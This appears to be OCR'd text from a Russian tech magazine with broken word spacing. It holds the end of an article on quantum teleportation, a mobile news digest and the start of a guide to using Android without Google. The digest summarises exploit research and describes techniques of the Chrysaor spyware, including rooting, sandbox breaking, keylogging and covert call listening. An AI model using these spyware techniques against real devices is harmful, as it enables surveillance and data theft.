и может быть точ но рас счи тан заранее. Количес тво наб людате лей тоже никак
на него не пов лияет. В слу чае с кван товой механи кой такой опре делен ности
нет.  Нап ример,  нель зя  заранее  ска зать,  какая  будет  поляри зация  у  одно го
из запутан ных фотонов.

Эй нштейн осто рож но пред положил, что веро ятнос тный харак тер пред ска‐ 
заний кван товой механи ки объ ясня ется наличи ем каких‐то скры тых парамет‐ 
ров, то есть баналь ной непол нотой опи сания. Спус тя трид цать лет Белл отве‐ 
тил  соз дани ем  серии  неравенств,  теоре тичес ки  спо соб ных  под твер дить
наличие скры тых парамет ров в экспе римен тах с кван товыми час тицами путем
ана лиза  рас пре деле ния  веро ятностей  в  серии  опы тов.  Ален  Аспе,  а  затем
и  дру гие  экспе римен таторы  про демонс три рова ли  наруше ние  неравенств
Бел ла.

В  2003  году  физик‐теоре тик  из  Илли ной ско го  уни вер ситета  Тони  Лег гет
обоб щил  накоп ленные  дан ные  и  пред ложил  вов се  отка зать ся  от  прин ципа
локаль нос ти в любых рас сужде ниях о кван товых сис темах. Поз же груп па уче‐ 
ных из Цюрих ско го инсти тута теоре тичес кой физики и Инсти тута прик ладной
физики  тех ничес кого  уни вер ситета Дарм штад та  под  руководс твом Род жера
Коль бека  приш ла  к  выводу  о  том,  что  прин цип  Гей зен берга  так же  некор‐ 
ректен для запутан ных эле мен тарных час тиц.

Та кое  пос тоян ное  пере осмысле ние  кван товой  механи ки  про исхо дит
потому,  что мы пыта емся мыс лить  при выч ными  катего риями в  неп ривыч ном
окру жении.  Запутан ные  сос тояния  час тиц  и,  в  час тнос ти,  фотонов —  вов се
не мис тичес кое свой ство. Оно не наруша ет,  а  допол няет извес тные  законы
физики. Прос то пока сами физики не могут опи сать наб люда емые эффекты
в неп ротиво речи вой теории.

Кван товая  запутан ность  наб люда ется  в  экспе римен тах  с  1970‐х  годов.
Раз несен ные на любое рас сто яние пары пред варитель но запутан ных час тиц
мгно вен но  (то есть быс трее ско рос ти све та) меня ют свой ства друг дру га —
отсю да и воз ник тер мин «телепор тация». Нап ример, сто ит изме нить поляри‐ 
зацию одно го фотона,  как пар ный ему  тут же изме нит свою. Чудо? Да, если
не вспом нить, что изна чаль но эти фотоны были еди ным целым, а пос ле раз‐ 
деления  их  поляри зация  и  дру гие  свой ства  так же  ока зались  вза имос вязан‐ 
ными.

На вер няка  ты  пом нишь  про  дву лич ность  фотона:  он  вза имо дей ству ет
как  час тица,  а  рас простра няет ся  как  вол на.  Для  соз дания  пары  запутан ных
фотонов  есть  раз ные  методи ки,  одна  из  которых  базиру ется  на  вол новых
свой ствах.  В  ней  генери рует ся  один  фотон  с  мень шей  дли ной  вол ны  (нап‐ 
ример,  512  нм),  а  затем  он  раз деля ется  на  два  фотона  с  боль шей  дли ной
вол ны (1024 нм). Дли на вол ны (час тота) таких фотонов оди нако ва, а все кван‐ 
товые  свой ства  пары  опи сыва ются  веро ятнос тной моделью.  «Изме нить»  же
в мик ромире озна чает «изме рить», и наобо рот.

У  фотона‐час тицы  есть  кван товые  чис ла  —  нап ример,  спи раль ность
(положи тель ная  или  отри цатель ная).  У  фотона‐вол ны  есть  поляри зация  —
нап ример,  горизон таль ная  или  вер тикаль ная  (либо  левая  и  пра вая  кру‐ 
говая — смот ря какую плос кость и нап равле ние дви жения мы рас смат рива‐ 
ем).

Ка кими эти свой ства будут у каж дого фотона из пары, заранее неиз вес тно
(см. веро ятнос тные прин ципы кван товой механи ки). Зато в слу чае запутан ных
фотонов  мы можем  утвер ждать,  что  они  будут  про тиво полож ными.  Поэто му
если  изме нить  (изме рить)  харак терис тики  одно го  фотона  из  пары,  то  они
мгно вен но  ста нут  опре деле ны  у  вто рого,  даже  если  он  находит ся
за 100500 пар сек. Важ но понимать,  что это не прос то  устра нение неиз вес‐ 
тнос ти.  Это  имен но  изме нение  кван товых  свой ств  час тиц  в  резуль тате
перехо да от веро ятнос тно го сос тояния к детер миниро ван ному.

Ос новная  тех ничес кая  труд ность  зак люча ется  не  в  том,  что бы  соз дать
запутан ные  пары  фотонов.  Прак тичес ки  любой  источник  све та  рож дает  их
пос тоян но.  Даже  лам почка  у  тебя  в  ком нате  излу чает  запутан ные  фотоны
мил лиона ми.  Одна ко  ее  труд но  наз вать  кван товым  при бором,  пос коль ку
в  таком  хаосе  кван товая  запутан ность  рож денных  пар  быс тро  исче зает,
а бес числен ные вза имо дей ствия меша ют эффектив но переда вать информа‐ 
цию.

В экспе римен тах с кван товой запутан ностью фотонов обыч но исполь зуют
свой ства нелиней ной опти ки. Нап ример, если на огра нен ный опре делен ным
обра зом  кусочек  ниоба та  лития  или дру гой  нелиней ный  крис талл  пос ветить
лазером,  то  воз никнут  пары  фотонов  со  вза имно  орто гональ ной  (то  есть
горизон таль ной  и  вер тикаль ной)  поляри заци ей.  Один  (сверх)корот кий
импульс лазера — стро го одна пара фотонов. Вот где магия!

Спи раль ность, поляри зация — все это допол нитель ные спо собы кодиро вать
сиг нал,  поэто му  одним  фотоном  мож но  передать  более  одно го  бита
информа ции. Так в кван товых сис темах свя зи повыша ется плот ность переда‐ 
чи дан ных и ее ско рость.

Ис поль зовать  кван товую  телепор тацию  для  переда чи  информа ции  пока
слиш ком слож но, но прог ресс в этой области дви жет ся стре митель но. Пер‐ 
вый  успешный  опыт  был  зарегис три рован  в  2003  году.  Груп па  Цай лин гера
выпол нила переда чу кван товых сос тояний запутан ных час тиц, уда лен ных друг
от дру га на 600 м. В 2010 году груп па Цзянь‐Вэй Пана уве личи ла это рас сто‐ 
яние  до  13  км,  а  затем  в  2012  году  побила  собс твен ный  рекорд,  зафик‐ 
сировав  успешную  кван товую  телепор тацию  на  рас сто янии  97  км.  В  том
же  2012  году  Цай лин гер  взял  реванш  и  уве личил  рас сто яние  до  143  км.
Теперь сов мес тны ми уси лиями они совер шили нас тоящий про рыв — выпол‐ 
нили переда чу на 1203 км.

Ком менти руя  эту  работу,  Цзянь‐Вэй  Пан  отме чает,  что  спе циалис там
из объ еди нен ной груп пы пот ребова лось поч ти 14 лет, что бы дос тичь такого
резуль тата.  Сле дующим  шагом  будет  фун кци они рова ние  кван товой  спут‐ 
никовой свя зи в днев ное вре мя, что озна чает пре одо ление куда более мощ‐ 
ной  зас ветки  от  Сол нца.  Так же  пла ниру ется  отпра вить  спут ники  на  более
высокие орби ты,  что бы они оста вались  в  зоне  видимос ти  про дол житель ное
вре мя.  «Тог да  это  будет  дей стви тель но  полез ная  и  радикаль ная  сис тема
для надеж ных кван товых ком муника ций», — говорит Цзянь‐Вэй Пан.

•Pan Jianwei: Quantum Science Satellite
•Кни га  Анто на  Цай лин гера  «Танец  фотонов.
От Эйнштей на до кван товой телепор тации»
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Се год ня в выпус ке: Android ста новит ся популяр нее Windows,
пла тежи и  звон ки  в Telegram, дырявый Tizen,  смерть Ubuntu
Touch  и  отчет  о  раз витии  LineageOS.  А  так же:  отладка  An‐
droid‐при ложе ний  через  Chrome  DevTools,  под робнос ти
об  iPhone  6s  собс твен ной  сбор ки,  запуск  Google  Assistant
на  нас толь ной  машине,  ана лиз  тро яна  Chrysaor  от  NSA
Group.  И  конеч но  же,  под борка  матери алов  и  биб лиотек
для раз работ чиков.

СОБЫТИЯ
В  начале  месяца  появи лась  инте рес ная  ста тис тика.  Сер вис  монито рин га
исполь зования веб‐бра узе ров и опе раци онных сис тем StatCounter сооб щил,
что впер вые за все вре мя наб людений Windows ока залась на вто ром мес те.
Но инте рес но не это, а то, что пер вое мес то занял Android. При чем боль шей
частью  на  позиции  Android  пов лияли  ази атские  стра ны,  их  доля  сос‐ 
тавила 52,2%.

Гра фик рос та доли Android в веб‐тра фике

В кон це апре ля Павел Дуров весь ма ори гиналь ным спо собом — с помощью
фотог рафии экра на с откры тым TODO в Instagram — анон сировал появ ление
фун кции виде озвонка и сис темы пла тежей в Telegram. И если с пер вым все
понят но  (шиф рован ные  звон ки —  это  всег да  хорошо),  то  вто рое  вызыва ет
воп росы.

Де ло в том, что на эта пе запус ка фун кции пла тежей она будет под держи‐ 
вать  исклю читель но  опе рато ра  онлайн‐пла тежей  Stripe,  а  он  в  Рос сии
не  работа ет.  ,  что  Telegram  уже  ведет  перего воры
со Сбер банком и дру гими бан ками, так что, воз можно, пла тежи будут и в Рос‐ 
сии.  Дру гое  дело,  не  вме шает ся  ли  в  эти  перего воры  пра витель ство.  Оно,
как извес тно, Telegram и без того недолюб лива ет.

По яви лась  информа ция

СИСТЕМЫ И ПЛАТФОРМЫ
В  кон це  фев раля  обновле ние  выкатил  про ект  ,  раз вива ющий
сбор ку Android 6.0 для компь юте ров и ноут буков. Основные нов шес тва:

Android‐x86

яд ро Linux 4.4.62, Android 6.0.1_r79;•
ав томон тирова ние CD/DVD;•
сов мести мость с VMware;•
скрипт qemu‐android для авто мати чес кого запус ка Android‐x86 в QEMU.•

Па ра слов про аль тер нативы. Мно гие зна ют, что, кро ме Android, iOS, Windows
Phone, Ubuntu Phone и про рос сий ской Sailfish OS, на све те сущес тву ет опе‐ 
раци онка  Tizen.  Ког да‐то  она  родилась  от  сли яния  MeeGo  и  про екта  LiMo
(Linux Mobile), раз вива емо го Linux Foundation.

Tizen  —  откры тая  сис тема,  в  ее  раз работ ке  при нима ют  учас тие  мно гие
ком пании, но в основном она инте рес на Samsung, которая все ми силами ста‐ 
рает ся спрыг нуть с Android. Так вот, нек то Ами хай Ней дер ман (Amihai Neider‐
man) нашел в этой сис теме сра зу 40 кри тичес ких 0day‐уяз вимос тей, боль шая
часть из которых поз воля ет получить уда лен ный кон троль над устрой ством.

Все бы ничего, да вот Tizen уста нов лена не толь ко на 10 мил лионов бюд‐ 
жетных  смар тфо нов,  но  и  на  30  мил лионов  SmartTV,  а  так же  дос таточ но
популяр ные часы Samsung Gear S2/S3.

Ну и о грус тном. Пятого апре ля Марк Шатт лворт   о смер ти Unity,
фир менно го  гра фичес кого  окру жения  Ubuntu.  А  вмес те  с  этим  и  о  прек‐ 
ращении  раз вития  дис плей ного  сер вера  Mir.  И  о  смер ти  базиру ющей ся
на Mir мобиль ной плат формы Ubuntu Phone. Опе раци онка не прос то «не при‐ 
жилась» — у Мар ка закон чились день ги.

объ явил

Гра фик пред почте ния смар тфо нов с диаго налью экра‐ 
на 5,5 и 5,7 по стра нам

LINEAGEOS
Оче ред ная  под борка  новос тей  от  про екта  LineageOS  (быв ший
CyanogenMod). Основные нов шес тва:

От ныне сис тема базиру ется на Android 7.1.2.•
Но вая галерея с прос той навига цией меж ду исто рией, аль бомами и виде‐ 
оза пися ми и с под дер жкой пол ноэк ранно го про игры вания видео.

•

При ложе ние  «Дик тофон»  теперь  объ еди нено  с  при ложе нием  для  записи
скрин кастов под общим име нем «Рекор дер».

•

Но вый  безопас ный  бра узер  Jelly,  пред назна чен ный  для  работы
на маломощ ных устрой ствах.

•

Тайл  мес тополо жения  в  быс трых  нас трой ках  перера ботан  и  теперь  поз‐ 
воля ет перек лючать ся меж ду раз ными режима ми навига ции.

•

Ря дом  с  пол зунком  гром кости  в  быс трых  нас трой ках  теперь  есть  кноп ка
для вклю чения/отклю чения авто мати чес кой нас трой ки яркости.

•

Под дер жка новых устрой ств:
Motorola Moto Z•
Motorola Moto Z Play•
Samsung Galaxy Note 2•
Samsung Galaxy Note 3•
Samsung Galaxy Tab 3 LTE•
Samsung Galaxy S4 Mini•
Samsung Galaxy S5 Plus•
Samsung Galaxy Tab S 10.5 Wi‐Fi•
Lenovo Vibe K5 / K5 Plus•
ARK Benefit A3•
HTC M9•
HTC One A9•
Letv LeEco Le 2•
Letv LeEco Le Pro 3•
LG L90•
LG V20•
Yu Yuphoria•
Yu Yureka•
Xiaomi Mi 5s Plu•

ИНСТРУМЕНТЫ
  —  спе циаль но  под готов ленное  уяз‐ 

вимое  ядро  Linux  для  эму лято ра  Android.  Поз воля ет  про качать  скилл
в ядер ном хакин ге.

• AndroidKernelExploitationPlayground

 — отладчик для дебаг гинга Android‐при ложе ний пря мо из нас толь‐ 
ного  бра узе ра,  с  исполь зовани ем  Chrome  DevTools.  Из  воз можнос тей:
прос мотр ста тис тики сетевых зап росов, иссле дова ние баз дан ных, прос‐ 
мотр иерар хии View на манер кода HTML (!), кон соль JS, прос мотр и изме‐ 
нение нас тро ек при ложе ния.

• Stetho

ПОЧИТАТЬ
  —  боль шое

интервью со Скот ти Алле ном,  тем самым инже нером, соб равшим  iPhone 6s
из куч ки зап частей, куп ленных в Китае.

XDA  Interviews  Scotty  Allen:  The  Guy  Who  Built  his  Own  iPhone

Об щая  сто имость  про екта —  более  1000  дол ларов,  если  учи тывать  все
исполь зован ные  инс тру мен ты,  наборы  бол тов  всех  воз можных  раз меров,
кабель  и  дру гой  матери ал,  при обре тен ный  с  запасом  или  испорчен ный
во вре мя сбор ки. Если же счи тать толь ко ком понен ты получен ного смар тфо‐ 
на, то их сто имость сос тавила чуть боль ше 300 дол ларов.

Ин терес но,  что  пла та  смар тфо на,  несущая  на  себе  все  зна чимые  ком‐ 
понен ты,  вклю чая  чип сет,  опе ратив ную  и  пос тоян ную  память,  про дава лась
не толь ко с пре дус танов ленным заг рузчи ком, но и с пре дус танов ленной iOS.
Дру гими сло вами, это была не китай ская копия ори гиналь ной пла ты, а часть
ори гиналь ного iPhone 6s.

Про цесс сбор ки собс твен ного iPhone 6s

  —  кра сиво  офор млен ная  пре зен тация  (стать ей
наз вать  язык  не  повора чива ется)  об исто рии  iOS. Минимум букв, мак симум
иллюс тра ций.  И  да,  это  рек ламный  про ект  раз работ чиков  гра фичес кого
фрон тенда сис темы кон тро ля вер сий Git.

An  Illustrated  History  of  iOS

 — инс‐ 
трук ция  по  запус ку  Google  Assistant  на  нас толь ной  машине.  Суть  сво дит ся
к уста нов ке Python и модуля google‐assistant‐sdk — и «Ассистент» мож но выз‐ 
вать с помощью прос тей шего скрип та.

How to get Google Assistant on your Windows, Mac, or Linux Machine

 — резуль таты реверс‐инжи нирин га фай ловой сис‐ 
темы APFS,  той самой,  что лежит в осно ве пос ледних вер сий macOS и  iOS.
Статья не содер жит ничего сен саци онно го, но ее мож но исполь зовать, что бы
понять  дис ковый  фор мат  ФС  (и  соз дать  ути литу  для  чте ния  и  извле чения
информа ции).

APFS filesystem  format

  —  крат кий  ана лиз  того  самого  тро янско го
ПО FlexSpy, бинар ники и исходни ки которо го не так дав но укра ли с сай та ком‐ 
пании. О том, как был взло ман сайт ком пании, мож но почитать  , а ска‐ 
чать исходни ки —  .

FlexSpy  Application  Analysis

здесь
здесь

 — слай ды с опи сани ем реали зации ата ки
на сис тему доверен ного исполне ния кода TrustZone с помощью нашумев шей
тех ники  Rowhammer.  Сама  тех ника  инте рес на  тем,  что  в  теории  ее  мож но
исполь зовать  для  взло ма  чего  угод но,  так  как  она  экс плу ати рует  дыру  не  в
соф те, а в железе, кон крет но — в опе ратив ной памяти. Это сво его рода ulti‐
mate bug, при мени мый к огромно му количес тву смар тфо нов и компь юте ров;
защита появи лась лишь в про цес сорах архи тек туры Intel Ivy Bridge и LPDDR 4.

Attack TrustZone with Rowhammer

 —  иссле дова ние,  пос‐ 
вящен ное уяз вимос тям в Android и их клас сифика ции. В целом край не скуч‐ 
ное  чти во,  но  при веден ные  в  середи не  докумен та  диаг раммы  инте рес ны
(одна из них ниже).

An  Empirical  Study  on  Android‐related  Vulnerabilities

Теп ловая кар та уяз вимос тей в под систе мах Android

 — деталь ный раз бор нашумев‐ 
шей уяз вимос ти в про шив ке Wi‐Fi‐чип сета Broadcom, поз воля ющей получить
кон троль  над  мил лиона ми  устрой ств  (вклю чая  Nexus  и  iPhone)  с  помощью
спе циаль ным обра зом сфор мирован ного пакета. Уяз вимость уже исправ лена
в iOS и Android, но, как это обыч но быва ет, боль шинс тво устрой ств на Android
это обновле ние уже не уви дят.

Over The Air: Exploiting Broadcom’s Wi‐Fi Stack

 —  обновлен ная  вер сия  докумен та  с  опи сани ем  тех нологий,
обес печива ющих  безопас ность  iOS.  Из  нового:  воп росы  безопас ности
HomeKit  и  ReplayKit  (фрей мворк,  поз воля ющий  тран сли ровать  содер жимое
экра на), Apple Watch, а так же защита лич ных дан ных при интегра ции со сто‐ 
рон ними при ложе ниями.  .

iOS  Security

Все нов шес тва одним кус ком
 — объ ясне ние механиз ма работы под систе мы FORTIFY

и ее при мене ния в Android. FORTIFY пред став ляет собой набор рас ширений
стан дар тной  биб лиоте ки  язы ка  С  (в  Android  ее  фун кции  выпол няет  bionic),
поз воля ющий  отло вить  ошиб ки  при  работе  с  фун кци ями  вро де  memset,
sprintf,  open.  При  неп равиль ном  исполь зовании  они могут  при вес ти  к  появ‐ 
лению уяз вимос тей.

FORTIFY in Android

 —  иссле дова ние  безопас ности  мобиль ных  при ложе ний,  откры вающих
пор ты  для  при ема  соеди нений.  Все го  было  про вере но  100  тысяч  при ложе‐ 
ний,  из  которых  1632  мог ли  откры вать  слу шающие  пор ты.  Око ло  полови ны
из них нас читыва ли более 500 тысяч заг рузок.

Ана лиз  уяз вимос тей  в  Android‐при ложе ниях  с  откры тыми  сетевы ми  пор‐ 
тами

Вы воды иссле дова телей:
410 уяз вимых при ложе ний;•
956 потен циаль ных методов экс плу ата ции уяз вимос тей;•
57 при ложе ний взло мали.•

Ис поль зуя уяз вимос ти,  уда лось отпра вить СМС на плат ный номер, получить
дос туп к кон тактам и фотог рафи ям, перех ватить парамет ры аутен тифика ции,
уста новить мал варь или выпол нить про изволь ный код. Инте рес но, что 14,6%
уяз вимых  при ложе ний  соз даны  с  помощью  муль тип латфор менно го  фрей‐ 
мвор ка PhoneGap, который раз деля ет при ложе ния на фрон тенд и бэкенд.

При мер ата ки: кра жа фотог рафий с кар ты памяти устрой ств на видео.

https://www.youtube.com/watch?v=7T7FBuCFM6A

 — ана лиз шпи онско го  тро яна
Chrysaor,  к  соз данию  которо го,  ско рее  все го,  при ложи ла  руку  скан даль но
извес тная ком пания NSO Group. Инте рес ная осо бен ность  тро яна в  том, что
он нацелен на Android 4.3 и ниже.

An  investigation of Chrysaor Malware on Android

Сра зу  пос ле  уста нов ки  на  смар тфон  жер твы  Chrysaor  получа ет  root
с  помощью  экс пло ита  framaroot,  затем  копиру ет  себя  в  сис темный  раз дел
и  уда ляет  при ложе ние  com.sec.android.fotaclient,  отве чающее  в  смар тфо нах
Samsung за авто обновле ние, затем запус кает про цесс сбо ра дан ных и ожи‐ 
дает коман ды от уда лен ного сер вера.

Тро ян исполь зует шесть тех ник для сбо ра дан ных:
1. За пуск  по  тай меру  для  пери оди чес ких  задач  вро де  получе ния  текуще го
мес тополо жения.

2. Оче редь  сбо ра  дан ных,  которая  получа ет  такую  информа цию,  как  СМС,
жур нал  звон ков,  исто рия бра узе ра,  кален дарь,  кон такты,  пись ма и  сооб‐ 
щения  мес сен дже ров  (WhatsApp,  Twitter,  Facebook,  Viber  и  Skype).
При этом для дос тупа к дан ным тро ян сна чала лома ет песоч ницу при ложе‐ 
ния,  делая  его  каталог  в  /data/data  дос тупным  для  чте ния  всем,  а  затем
дам пает базу дан ных.

3. К  уже  дам пну тым  базам  дан ных  тро ян  под клю чает  ContentObserver’ы
и наб люда ет за появ лени ем новых сооб щений.

4. Сня тие  скрин шотов  с  помощью  пря мого  дос тупа  к  устрой ству
/dev/graphics/fb0.

5. Встро енный  кей лог гер,  внед ряющий  хуки  нап рямую  в  биб лиоте ку
/system/lib/libbinder.so  и  перех ватыва ющий  объ екты  с  интерфей сом
com.android.internal.view.IInputContext.

6. Фун кция авто мати чес кого отве та на зво нок, поз воля ющая наб рать номер
жер твы и скры то слу шать про исхо дящее вок руг.

Chrysaor  име ет  фун кцию  самолик видации,  которая  сра баты вает  в  трех  слу‐ 
чаях:  по  коман де  от  сер вера,  через  60  дней  пос ле  пос ледней  успешной
попыт ки  свя зать ся  с  сер вером  либо  если  появит ся  файл
/sdcard/MemosForNotes.

Стра ны с наиболь шим рас простра нени ем Chrysaor

РАЗРАБОТКА ДЛЯ ANDROID
Статьи (en)

;• Ин терес ные наход ки в API Android O
;• Соз дание тун неля HTTP через NFC

;• Ра бота с фоновы ми служ бами в Android O
;• За пуск TensorFlow в Android

;• Как соз дать собс твен ный View
;• Что такое Context в при ложе нии для Android
;• Как соз дать собс твен ные анно тации для кода

;• Как раз гру зить Activity от мас сы кода с помощью пат терна Delegation
;• Kotlin: 16 советов раз работ чику

.• Kotlin: вве дение в сетевые фун кции

Биб лиоте ки
 — биб лиоте ка, раз мыва ющая окно, нап ример при откры‐ 

тии диало гово го окна;
• BlurredImageView

  —  диало говое  окно  в  сти ле  Material  с  информа цией
о при ложе нии;

• android‐about‐box

 — кноп ка, прев раща ющаяся в инди катор заг рузки;• LoadingButtonAndroid
 — прос то кален дарь;• CalendarView

 — биб лиоте ка для пар синга СМС.• sms‐parser‐android

БОНУС
 с икон кой 3556 ✕ 3556, которое кра шит Android.При ложе ние
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X‐MOBILE

Google  собира ет  тон ны  информа ции
о  поль зовате ле  с  помощью  смар тфо на.
Мес тополо жение,  активность  уста нов‐ 
ленных  при ложе ний,  кон такты,  кален дарь,
исто рия поис ковых зап росов, бэкап дан ных
при ложе ний  —  это  лишь  часть  све дений,
которые  ухо дят  на  сер веры  Google.  При‐ 
вязы вать  смар тфон  к  акка унту  Google  сов‐ 
сем  не  обя затель но,  но  тог да  про падет
воз можность  уста нов ки  при ложе ний,  син‐ 
хро низа ции  кон тактов,  кален даря,  бэкапов
и мно гие дру гие полез ные в быту фун кции.
Мож но ли обой ти эти проб лемы? Поп робу‐ 
ем разоб рать ся.

ИНТРО
Вот  две  ссыл ки,  которые  показы вают  толь ко  малую  часть  того,  что  зна ет
о тебе Google:  ,  . В логи Google попада ет даже самая нез начитель ная
информа ция, вплоть до записей голосо вых зап росов к Google Now и Assistant.
Офи циаль но  ком пания  исполь зует  эти  дан ные  для  улуч шения  про дук тов
и  показа  тар гетиро ван ной  рек ламы.  Но  так же  она  сот рудни чает  с  пра воох‐ 
ранитель ными  орга нами  и  по  зап росу  выдаст  о  тебе  столь ко  информа ции,
сколь ко ты и сам не зна ешь.

раз два

Хро ноло гия дей ствий, собира емых Google

Хо чешь изба вить ся от слеж ки и не потерять в удобс тве исполь зования смар‐ 
тфо на? Тог да поеха ли.

ВАРИАНТЫ
Итак, при пер вом вклю чении нового устрой ства или пос ле сбро са до завод‐ 
ских  нас тро ек  смар тфон  зап рашива ет  дан ные  акка унта  Google  и  пос ле  их
верифи кации сра зу начина ет сбор дан ных о тво ей активнос ти. Поэто му вари‐ 
антов по обхо ду «слеж ки» все го три:
1. От клю чить  сбор  информа ции  в    (хотя,
как  извес тно,  галоч ка  «не  сле дить  за  поль зовате лем»  никак  не  вли яет
на работу, но зас тавля ет обра тить на тебя вни мание).

нас трой ках  кон фиден циаль нос ти

2. Про пус тить при вяз ку акка унта.
3. Ус тановить кас томную про шив ку без при ложе ний Google (GApps).

Пос ледние  два  дей ствия  при ведут  к  отклю чению  син хро низа ции  кон тактов
и фотог рафий, деак тивации Google Play и бэкапов при ложе ний. Поэто му при‐ 
дет ся искать обходные пути, как заполу чить эту фун кци ональ ность обратно.

Нас трой ки кон фиден циаль нос ти акка унта

АЛЬТЕРНАТИВНЫЕ МАРКЕТЫ
Итак, про пус тив при вяз ку акка унта или уста новив облегчен ную про шив ку, мы
получи ли нерабо чий мар кет  в пер вом слу чае или его отсутс твие во вто ром.
Соот ветс твен но,  нам  нужен  удоб ный  спо соб  напол нения  устрой ства  необ‐ 
ходимы ми  при ложе ниями.  В  пер вую  оче редь  перехо дим  в  нас трой ки  и  в
меню  «Безопас ность»  ста вим  галоч ку  (сдви гаем пол зунок)  на пун кте  «Неиз‐ 
вес тные источни ки». Это поз волит уста нав ливать при ложе ния не из Play Мар‐ 
кета.

Пос ле это го мож но ска чивать и уста нав ливать при ложе ния из любых мест,
одна ко сто ит доверять толь ко про верен ным источни кам, о час ти которых речь
пой дет ниже.

САЙТЫ ДЛЯ СКАЧИВАНИЯ APK
Для  начала  научим ся  ска чивать  при ложе ния  из  Google  Play.  Это  не  так  уж
и слож но. Нуж но прос то най ти необ ходимую прог рамму в бра узе ре и затем
заменить play.google.com в адресной стро ке на apk‐dl.com. Так ты попадешь
на стра ницу с воз можностью ска чива ния пакета.

  и    —  более  извес тные  сай ты  с  ана логич ной,
но рас ширен ной фун кци ональ ностью. APKMirror — любимый фай лооб менник
сай та  Android  Police.  На  стра нице  для  ска чива ния  содер жится  наз вание
пакета,  номер вер сии, минималь ные  тре бова ния  к  вер сии Android. Для ска‐ 
чива ния  дос тупны  пре дыду щие  вер сии  при ложе ний,  а  глав ная  стра ница
содер жит лен ту пос ледних заг рузок, а так же ста тис тику наибо лее популяр ных
при ложе ний по резуль татам заг рузок за 24 часа, семь дней и месяц.

Apkmirror.com apkpure.com

Apkmirror.com

APKPure  име ет  более  яркий  дизайн  с  глав ной  стра ницей,  рек ламиру ющей
в основном игры. Сайт  так же поз воля ет ска чивать пре дыду щие вер сии при‐ 
ложе ний.

Apkpure.com

Сто ит  иметь  в  виду,  что оба этих  сай та  не рас простра няют  варез,  а  зна чит,
через них мож но ска чать толь ко бес плат ный софт.

МАРКЕТЫ

APKPure
Еще одно  пре иму щес тво  apkpure.com —  . Пос ле  запус ка он
ска ниру ет  уста нов ленные  при ложе ния  и  выводит  в  штор ку  уве дом ление,
пред лага ющее обно вить их до акту аль ных вер сий.

удоб ный кли ент

APKPure

 не тре бует акка унта. 
 толь ко бес плат ные при ложе ния.

Плю сы:

Ми нусы:

Ян декс.Store
  —  это  попыт ка  Яндекса  пере играть  Google  на  их  же  поле,

которая  соп ровож далась  заяв лени ем  в  Федераль ную  анти моно поль ную
служ бу касатель но наруше ния кор пораци ей Google закона «О кон курен ции».
Дру гими сло вами, это аль тер натив ный магазин при ложе ний.

Ян декс.Store

Од но  из  его  дос тоинств —  10%  от  сто имос ти  покупа емо го  при ложе ния
воз вра щают ся на спе циаль ный бонус ный счет, с которо го мож но опла чивать
новые  покуп ки  или  при обре тения  внут ри  уже  уста нов ленных  при ложе ний.
Для  покупок  мож но  исполь зовать  бан ков скую  кар ту,  Яндекс.День ги,  счет
мобиль ного телефо на или накоп ленные бонусы.

Глав ный экран Яндекс.Store и экран бонусов

 не тре бует при вяз ки к акка унту. 
 не очень боль шое количес тво при ложе ний.

Плю сы:

Ми нусы:

Amazon Appstore
Еще один магазин при ложе ний от зна мени того интернет‐магази на. При ложе‐ 
ние  мож но  ска чать  по  .  Для  фун кци они рова ния  необ ходима
регис тра ция. Пос ле это го выбирать при ложе ния для уста нов ки мож но пря мо
на  . При ятная осо бен ность Amazon Appstore — пери оди чес кая раз дача
плат ных при ложе ний.

этой  ссыл ке

сай те

 дос таточ но боль шой каталог при ложе ний, раз дача бес плат ных при‐ 
ложе ний. 

 не работа ет без при вяз ки к акка унту.

Плю сы:

Ми нусы:

F-Droid
Зна мени тый    FOSS  (Free  and  Open  Source  Software)  при ложе ний.
В  репози тории  находит ся  толь ко  сво бод ное  прог рам мное  обес печение.
Не тре бует регис тра ции. В нас трой ках мож но под клю чить сто рон ние репози‐ 
тории.  Для  осо бо  заботя щих ся  о  кон фиден циаль нос ти  есть  воз можность
прос мотра магази на и уста нов ки при ложе ний через Tor. Уста нов ленные при‐ 
ложе ния мож но лег ко передать на дру гое устрой ство через Bluetooth или Wi‐
Fi.

ка талог

Что бы при каж дой уста нов ке при ложе ния F‐Droid не спра шивал у тебя сог‐ 
ласие,  луч ше  сра зу  уста новить  F‐Droid  Privileged  Extension  с  помощью  него
же. Но это рас ширение тре бует root.

F‐Droid

  не  тре бует  регис тра ции,  может  работать  через  Tor,  лег кий  и  быс‐ 
трый. 

 очень скуд ный набор при ложе ний.

Плю сы:

Ми нусы:

App&Game 4PDA
Са мое  инте рес ное  на  закус ку.  Неофи циаль ный    для  ска чива ния  при‐ 
ложе ний и игр, выложен ных на извес тном рос сий ском пор тале 4pda.ru (а там
мож но най ти прак тичес ки все). Глав ное отли чие от всех осталь ных при ложе‐ 
ний — наличие ломаных вер сий плат ных при ложе ний, а так же кеша для игр.

кли ент

App&Game 4PDA

 боль шой каталог соф та, варез. 
  никакой  гаран тии  отсутс твия  вирусов,  ска чива ние  вареза  наказу‐ 

емо, и мы не при зыва ем поль зовать ся этим при ложе нием.

Плю сы:

Ми нусы:

Дру гие вари анты
Вкрат це  оста нов люсь  еще  на  нес коль ких  полез ных  при ложе ниях,  помога‐ 
ющих жить без Google Play.

  —  прос тое  при ложе ние  с  минима лис тичным  интерфей сом,
которое  прос то  све ряет  вер сии  уста нов ленных  пакетов  с  акту аль ными
вер сиями на сай тах APKMirror и APKPure. Запус кает ся толь ко вруч ную и не
име ет менед жера закачек.

• ApkTrack

 — фор миру ет спи сок  уста нов ленных на  устрой стве при ложе‐ 
ний  и  поз воля ет  экспор тировать  их  в  XML. Пос ле  переп рошив ки  устрой‐ 
ства  или  сбро са  до  завод ских  нас тро ек  дан ный  спи сок мож но  под тянуть
и опе ратив но най ти уста нов ленные ранее при ложе ния.

• My App List

  —  неболь шое  при ложе ние,  иде аль но  под ходящее  для  ста рых
телефо нов.  В  про тиво вес  GApps’ам  занима ет  очень  мало  мес та  и  поз‐ 
воля ет  ска чивать  APK  непос редс твен но  из  Google  Play.  Для  работы  тре‐ 
бует акка унт Гуг ла, но в свя зи с тем, что дос туп к Google Play в обход офи‐ 

• Yalp  Store

mailto:john.brada.doe@gmail.com
https://myactivity.google.com/myactivity
https://www.google.com/maps/timeline
https://myaccount.google.com/privacycheckup
http://www.apkmirror.com/
https://apkpure.com/
https://apkpure.com/apkpure/com.apkpure.aegon
https://store.yandex.ru/
https://www.amazon.com/appstore_android_app
https://www.amazon.com/mobile-apps/b/ref=topnav_storetab_mas?ie=UTF8&node=2350149011
